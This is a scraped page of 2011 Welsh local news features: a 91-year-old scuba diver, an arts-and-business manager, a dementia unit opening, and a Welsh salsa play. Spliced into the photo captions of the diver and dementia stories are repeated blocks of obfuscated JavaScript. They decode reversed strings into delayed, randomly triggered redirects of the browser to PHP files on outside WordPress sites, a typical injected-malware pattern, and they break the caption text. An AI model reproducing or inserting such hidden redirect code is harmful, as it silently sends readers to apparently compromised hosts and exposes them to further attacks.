Category: News

Norman still taking the plunge at 91

PICTURE BY PATRICK OLNER 07958 54606391 year old great grandfather of two, Norman Lancefield from Bover$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}ton, Llantwit Major, South Wales. Norman is quite possibly the UK's oldest Scuba Diver.

A 91-year-old great grandfather-of-two from the Vale of Glamorgan is being hailed as the UK’s oldest scuba diver.

Norman Lancefield, the remarkably fit retired mechanical engineer from Boverton near Llantwit Major, still regularly dives to a depth of 10 metres.

Despite taking up his exciting and exhilarating hobby relatively late, aged 58 in 1978, Norman has racked up hundreds of dives and completed his latest one at Babbacombe Beach in Torquay, Devon.

Norman is an active member of the Barry branch of the British Sub Aqua Club (BSAC).

He said: “It’s another world down there and I feel privileged to be able to see it. “I don’t go much on wrecks and things but I do love to see the seaweed and when I did my most recent dive there was such a variety of seaweed, some small, some big and it is a beautiful part of nature.”

Norman also watches for other sea life too and recalled a special moment during a dive off the Gower coast.

He said: “I was following my buddy closely and I was just behind him and I saw what I thought was a stone and I thought, no that’s not a stone and would you believe it, it was an octopus. Well I grabbed my buddy by the ankle and showed him and we thought, can you believe it, seeing an octopus in Wales!

“That has always stuck in my mind.”

The former bee keeper first took up the sport when he tried some snorkelling on holiday in Spain and on his return decided he would like to improve his new skill.

He said: “In those days, the BSAC ran a night class at Bryn Hafren school in Barry and I thought I might be able to practice my snorkelling. I didn’t go there to dive. But before I knew it, they had put a tank on my back and I did half a length without breathing because the big computer in my head was telling me I couldn’t!

“But I got the hang of it and I have been diving ever since.”

He has been a member of the same dive club for more than 30 years and he still attends training sessions at the same school every week.

His diving career has taken him all over the world including Mexico, Malta, Turkey and several times to the Red Sea.

Norman said: “There is the most beautiful, vast collection of different corals and fish there. You can just turn up, sit on the bottom and stay there watching everything. You don’t need to hardly move or go anywhere!”

Russ Phillips, training officer at Barry Sub-Aqua Club, said Norman was a remarkable diver and continued to pass his medicals with ease, better even than some of the younger members.

Russ said: “We have children as young as eight who learn to snorkel and then go on to learn to dive with us and Norman is a terrific inspiration to them. He is a very positive person and a great character. We are lucky to have him in our club – he must be the oldest active scuba diver in the UK.

“Many people say they would be happy to live to his age and still be so fit, let alone diving at 91.”

BSAC Chief Executive Mary Tetley said: “As far as BSAC is aware, Norman is our oldest active diving member and we’re delighted that he is still getting in the water.

“Scuba diving is accessible to all ages and Norman is proof that age is no barrier when you’re doing something you enjoy.”

Norman believes the secret to his good health and good diving lies in his family’s genes.

He said: “When the stork was flying round with me in April 1920, he was going to take me to one house and he thought better of it because they weren’t strong enough so I ended up two doors down with a family with very good genes.

“My mother’s father worked as a saddler until he was 80 and would walk 17 miles to come and see us. That will give you some idea.”

He also believes diving has helped keep his lungs in good condition and would urge youngsters to consider taking up the sport.

He said: “You don’t need to be an Olympic swimmer, I have never been a fast swimmer but I can just swim for hours if needed to.

“Diving gives you so much more than just swimming, you can go and explore somewhere completely new every time and like I said, it is another world down there.”

To find out more about Barry BSAC, go to www.barrysubaqua.org and to contact BSAC to find out about diving in your area, go to www.bsac.com or call free on 0500 947 202.

 About the British Sub Aqua Club (BSAC):

BSAC trains and represents 35,000 active scuba divers and snorkellers. It is the UK National Governing Body and official voice of scuba and snorkelling, working with organisations like the Health and Safety Executive, the RNLI, Marine Coastguard Association (MCA), Marine Conservation Society, HM Treasury’s Receiver of Wrecks, DEFRA and other diving organisations.

BSAC is the world’s largest diving club and has 1,000+ sociable, family-based local branches and more than 120  diving centres spread across the country and worldwide. From beginner to expert, BSAC provides extensive diver training and the resources and back-up divers need to keep skills sharp and to help them enjoy diving safely. It welcomes membership of divers trained by all other agencies. 

www.bsac.com

Monday August 8th, 2011

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Supporting the arts is the business

Arts and Business Cymru, Pictured is Cath More.

A major campaign has been unveiled to bring the worlds of arts and business together in North Wales.

It’s being masterminded by Cath More, the newly-appointed manager of the Arts & Business Cymru organisation in the region.

Ms More, 28, said that getting the job was a “dream come true”.

She believes passionately that working in partnership can create huge mutual benefits.

But her career almost took a completely different direction after gaining an honours degree in psychology and biology from Liverpool John Moores University.

Her first brush with Arts & Business Cymru came when she got a temporary job at their North Wales office in Llandudno through a temping agency.

Cath returned to the organisation in 2006  following a period working for a hearing loss company.

She hasn’t looked back since and, after initially being appointed as an administrator, she has been successively promoted through the ranks until getting the top job in North Wales.

Cath said: “Being the manager of Arts & Business Cymru in North Wales is a dream come true for me.

“I am a natural lover of the arts and I am fascinated by the world of business, so this job is the perfect combination for me.

“I get to meet so many different people – from brilliant artists who create wonderful projects, to the businesses who actually really appreciate those projects.

“Our mission is to partner cultural organisations with businesses for mutual benefit.

“We have a number of services and training that we offer to both the arts world and businesses as well. A number of programmes of which are very beneficial to both sectors.

“It is all really about creating fantastic partnerships and there are some brilliant examples across Wales.

“Value for money with the arts is actually quite spectacular. A marketing campaign can cost tens of thousands of pounds but if you spent that money on the arts you could get so much more return for your investment.

“We make sure that each project is tailored to that business’s and it works. You don’t have to spend an awful lot of money – we work with small businesses and multi-national companies so it can work across the whole spectrum of business.

“The highlight of the year is our annual awards at the Wales Millennium Centre in Cardiff where our truly remarkable projects are honoured.

“Among them is the ground-breaking collaboration between the care organistion Pendine Park and the Hallé orchestra and the long-running partnership between the Ruthin hotel and restaurant, the Manorhaus, and the North Wales International Music Festival which is one of the highlights of the UK’s cultural calendar.

“The festival’s co-ordinator, Katy Williams, and her photographer father have been involved in an amazing project with Peninsula Home Improvements while Holyhead Boatyard have been recognised for their unstinting support of the town’s Ucheldre Centre.

“Each partnership is bespoke though they all have common underlying themes like creatively as a means of marketing themselves, promoting corporate social responsibility or staff development.

“Each project works in a different way for each business so they might have specific priorities within those key objectives.

“Another opportunity that we offer to our businesses is the chance to network in a unique arts environment, so you get to meet businesses who are also interested in investing in the arts.

“It may seem counter-intuitive as we’re in difficult economic times but there has never been a better time to embrace the arts.

“We can help business stay ahead of the game and ahead of the competitors because they are doing something really unique, innovative and creative while at the same time still meeting business objectives.”

For more information contact Cath More, North Wales Manager, Arts & Business Cymru by emailingto:Catherine.more@artsandbusiness.org.uk">catherine.more@artsandbusiness.org.uk or ringing  01492 574003

Thursday July 28th, 2011

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Home opening poignant for Mario

Hillbury The opening of the new dementia unit . Pictured from left is Mayoress Mrs Hilary Roberts, The Mayor of Wrexham Cllr Ian Roberts and Priprie$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor of Pendine Park Mario Kreft during the official opening.

The opening of a new unit to look after people with dementia and other mental health problems was a poignant occasion for social care pioneer Mario Kreft.

It took place 26 years to the day that his beloved grandmother, Mrs Rene Warburton, who suffered from Alzheimer’s disease, passed away in a care home.

According to Mr Kreft, it was the need to find suitable care for his grandmother that inspired him to establish the award-winning Pendine Park care organistion.

The new Plas Gwyn dementia unit at Pendine Park’s Hillbury House, in Hillbury Road, was officially opened by the Mayor of Wrexham, Cllr Ian Roberts, accompanied by the Mayoress, his wife, Hilary.

Cllr Roberts said: “I was very pleased to be invited to officially open Plas Gwyn.

“I have been to Hillbury on numerous occasions. It feels like home and I’m sure it feels like home to the people who live here now. The staff are extremely pleasant and there is a lovely atmosphere.

 “The standards in the new unit are excellent and I’m sure the care that they provide here is second to none.

 “There are a lot of people living a lot longer and obviously dementia comes on which means that more and more care is need whether that is in the community or in a residential setting.”

Last year the First Minister Carwyn Jones officially opened Bodlondeb, Pendine Park’s new centre of excellence for people with dementia at their site in Summerhill Road. Bodlondeb was named after Mr Kreft’s grandparents’ home in Rhyl.

According to Mario Kreft, who was awarded an MBE for his contribution to social care, the opening of Plas Gwyn was also a special day.

He said: “It’s remarkable that we should be opening an EMI residential unit 26 years to the day that I lost my grandmother in an EMI residential unit. It is quite poignant really.

“It’s nearly 30 years ago since we’ve as a family found that we really did need to look for more support than we were able to given and I continue to be inspired by my grandmother.

“We really want to provide the best services that we can. It’s something that you have to keep working at, trying to improve all the time.

“It’s all about supporting people, caring for people, working with people – it is very rewarding in terms of job satisfaction but equally it is very challenging.”

“The EMI residential unit is about responding to the needs of the community.

“It’s a very sad fact that there’s a growing issue in relation to dementia which means there are more and more people who need support.

“They certainly all don’t need to be in care homes but for some of those people probably the most appropriate support is with 24 hour supervision, and really unless you’re very wealthy that really can only be provided in a registered care home.

“I am very proud of what we have achieved here at Plas Gwyn. We have got a great team of people here.”

Thursday July 28th, 2011

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Salsa at the Stiwt is hot stuff

for ceri 2

One of Wales’ most popular actors will be seen as he’s never been seen before  – swivelling his hips seductively as he sweeps across the dance floor in a new play.

Phyl Harries will show off his light feet and dancing skills in Salsa at the Stiwt Theatre, in Rhos near Wrexham.

Appropriately, the Welsh language co-production by Theatr Na Nog and Theatr Mwldan will be on between Tuesday, August 2, and Friday, August 5 –the week that the National Eisteddfod is in Wrexham.

To get the audience in the mood, pre-show tapas and paella will be available courtesy of the La Tasca restaurant chain from 5:30-7pm throughout the run but pre-booking is essential to guarantee a table. 

Phyl says he can’t wait to get back on the Stiwt stage, a theatre where he just loves performing.

He said: “Salsa is a great night out and, although a Welsh language production I would say it is suitable for Welsh learners of all standards. It’s also a very visual drama.

“It’s a great story about a middle-aged couple, Wayne and Rhian, who want to start a family and join a salsa class as a way of losing weight.

“The problem is Rhian twists her ankle and can’t carry on while Wayne, secretly trying to please his wife, continues with the classes so he can show her his new moves and the fact he’s shed a few pounds.

“The problem is the classes are run by the rather gorgeous Adela Vega, a truly delicious Spanish dance teacher. And while Wayne, who turns out to be a bit of a natural when it comes to salsa, is encouraged by the stunning Adela he grows to love the attention a bit too much.”

And Phyl says the audience is kept in suspense wondering whether Wayne will follow his heart or his head when it comes to the crunch. Will he chose to stick with his wife or switch his affections to his dance teacher?

He said: “It’s a great play and a lot of fun. There are lots of other interesting characters we meet along the way and while there’s lots of dancing it’s not just salsa but cha cha and tango too. It’s a very physical play, believe me.

“And we get the audience involved and up there with us at the end of the performance too. It is really high energy and a great show.”

Phyl has numerous TV appearances to his name as well as countless theatre credits both as an actor and director.

He said: “As an actor I have been very lucky in some respects but I am a firm believer that you create your own luck through hard work. It’s a tough life being an actor especially when you are on the road so much.

“I do miss being home with the family and I’d like to see more of the grandchildren to be honest but work is work and this is what I do.”

Born in Ystalyfera in the Swansea Valley, Phyl graduated from the Welsh College of Music and Drama.

His theatre CV is impressive and varied and covers everything from Shakespeare to pantomime with a host of theatre companies, not just across Wales but the rest of the UK too.

While his extensive list of TV credits includes a three year stint on the BBC’s longest running soap, Pobol y Cwm, playing Ken Coslett, as well as roles in Doctor Who, Tracey Beaker and Torchwood.

And Phyl says he just finished filming another S4C show called Zanzibar in which he plays an Aberystwyth bar owner obsessed with Queen’s Freddie Mercury.

“Variety is the spice of life,” said Phyl. “Of course the one role I really want is to be the next Doctor Who! Let’s wait and see. In the meantime I’m happy just being busy as an actor, whether on stage, TV or radio, as well as directing.

“And I am looking forward to returning to The Stiwt. It’s a lovely theatre with a great deal of character to it. I’ve played there before in several productions and always get a warm welcome from Rhos audiences.”

When not taking his acting and directing skills on the road and living out of a suitcase Phyl enjoys his role of master of ceremonies at Welsh-themed banquets held in Cardiff Castle.

He said: “Together with my wife, Margaret, who is a harpist, I run the entertainment at Cardiff Castle for the banquets which is something we really enjoy together.

“Mags does come on the road with me when she can but it’s always nice being able to work together at Cardiff Castle. She a terrific harpist and we work well together both personally and professionally.”

Phyl is a talented musician in his own right and plays the flute, accordion and tenor saxophone to a high standard as well as being a talented baritone.

He said: “I love music, probably because I’m Welsh, it’s in the genes as they say. However, I’m just happy performing and, although I have worked hard at it, I have been lucky to be so busy as an actor for so many years. 

“I really am delighted to be back at The Stiwt and would encourage anyone who can speak even basic Welsh, or who is learning our wonderful language, to come along and enjoy the show. It’s a tremendous, well written play with lots of humour too

“It’s a great night out but, be warned, we’ll have you up on your feet by the end of the show joining in with the cast and enjoying a bit of heart-pumping salsa too.”

Salsa will be performed at the Stiwt Theatre Rhos between Tuesday, August 2 and Friday, 5th. For ticket information visit stiwt.ticketsolve.com or contact the Box Office on 01978 841300. Tickets will also be available from Stiwt’s stall in the Drama Café on the Maes at the National Eisteddfod.

Thursday July 28th, 2011

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